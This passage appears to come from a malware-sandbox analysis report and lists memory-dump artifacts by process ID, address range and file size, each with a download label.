                                                                                                              • memory/960-110-0x00007FFF05050000-0x00007FFF05060000-memory.dmp

                                                                                                                Filesize

                                                                                                                64KB

                                                                                                                Download

                                                                                                              • memory/960-108-0x00000211FAC10000-0x00000211FADCB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/960-106-0x00000211FAC10000-0x00000211FADCB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/960-105-0x00000211FAC10000-0x00000211FADCB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/1060-102-0x0000015383740000-0x00000153838FB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/1060-100-0x0000015383740000-0x00000153838FB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/1060-103-0x00007FFF05050000-0x00007FFF05060000-memory.dmp

                                                                                                                Filesize

                                                                                                                64KB

                                                                                                                Download

                                                                                                              • memory/1060-99-0x0000015383740000-0x00000153838FB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/1060-98-0x0000015383740000-0x00000153838FB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/1060-101-0x0000015383740000-0x00000153838FB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/1080-116-0x000001EB8C140000-0x000001EB8C2FB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/1080-117-0x000001EB8C140000-0x000001EB8C2FB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/1080-118-0x000001EB8C140000-0x000001EB8C2FB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/1104-52-0x00007FFF43080000-0x00007FFF4313E000-memory.dmp

                                                                                                                Filesize

                                                                                                                760KB

                                                                                                                Download

                                                                                                              • memory/1104-51-0x00007FFF44FD0000-0x00007FFF451C5000-memory.dmp

                                                                                                                Filesize

                                                                                                                2.0MB

                                                                                                                Download

                                                                                                              • memory/1104-49-0x000001D6CB7E0000-0x000001D6CB87A000-memory.dmp

                                                                                                                Filesize

                                                                                                                616KB

                                                                                                                Download

                                                                                                              • memory/1836-61-0x0000000140000000-0x00000001401A1000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.6MB

                                                                                                                Download

                                                                                                              • memory/1836-58-0x00007FFF44FD0000-0x00007FFF451C5000-memory.dmp

                                                                                                                Filesize

                                                                                                                2.0MB

                                                                                                                Download

                                                                                                              • memory/1836-59-0x00007FFF43080000-0x00007FFF4313E000-memory.dmp

                                                                                                                Filesize

                                                                                                                760KB

                                                                                                                Download

                                                                                                              • memory/1836-56-0x0000000140000000-0x00000001401A1000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.6MB

                                                                                                                Download

                                                                                                              • memory/1836-54-0x0000000140000000-0x00000001401A1000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.6MB

                                                                                                                Download

                                                                                                              • memory/3680-32-0x000000001B490000-0x000000001B528000-memory.dmp

                                                                                                                Filesize

                                                                                                                608KB

                                                                                                                Download

                                                                                                              • memory/3680-30-0x00000000008D0000-0x0000000000970000-memory.dmp

                                                                                                                Filesize

                                                                                                                640KB

                                                                                                                Download

                                                                                                              • memory/5044-580-0x000000001CDC0000-0x000000001CDD2000-memory.dmp

                                                                                                                Filesize

                                                                                                                72KB

                                                                                                                Download

                                                                                                              • memory/5044-34-0x00007FFF26E60000-0x00007FFF27921000-memory.dmp

                                                                                                                Filesize

                                                                                                                10.8MB

                                                                                                                Download

                                                                                                              • memory/5044-646-0x00007FFF26E60000-0x00007FFF27921000-memory.dmp

                                                                                                                Filesize

                                                                                                                10.8MB

                                                                                                                Download

                                                                                                              • memory/5044-0-0x00007FFF26E63000-0x00007FFF26E65000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                                Download

                                                                                                              • memory/5044-1-0x0000000000770000-0x0000000000784000-memory.dmp

                                                                                                                Filesize

                                                                                                                80KB

                                                                                                                Download

                                                                                                              • memory/5044-744-0x00007FFF26E60000-0x00007FFF27921000-memory.dmp

                                                                                                                Filesize

                                                                                                                10.8MB

                                                                                                                Download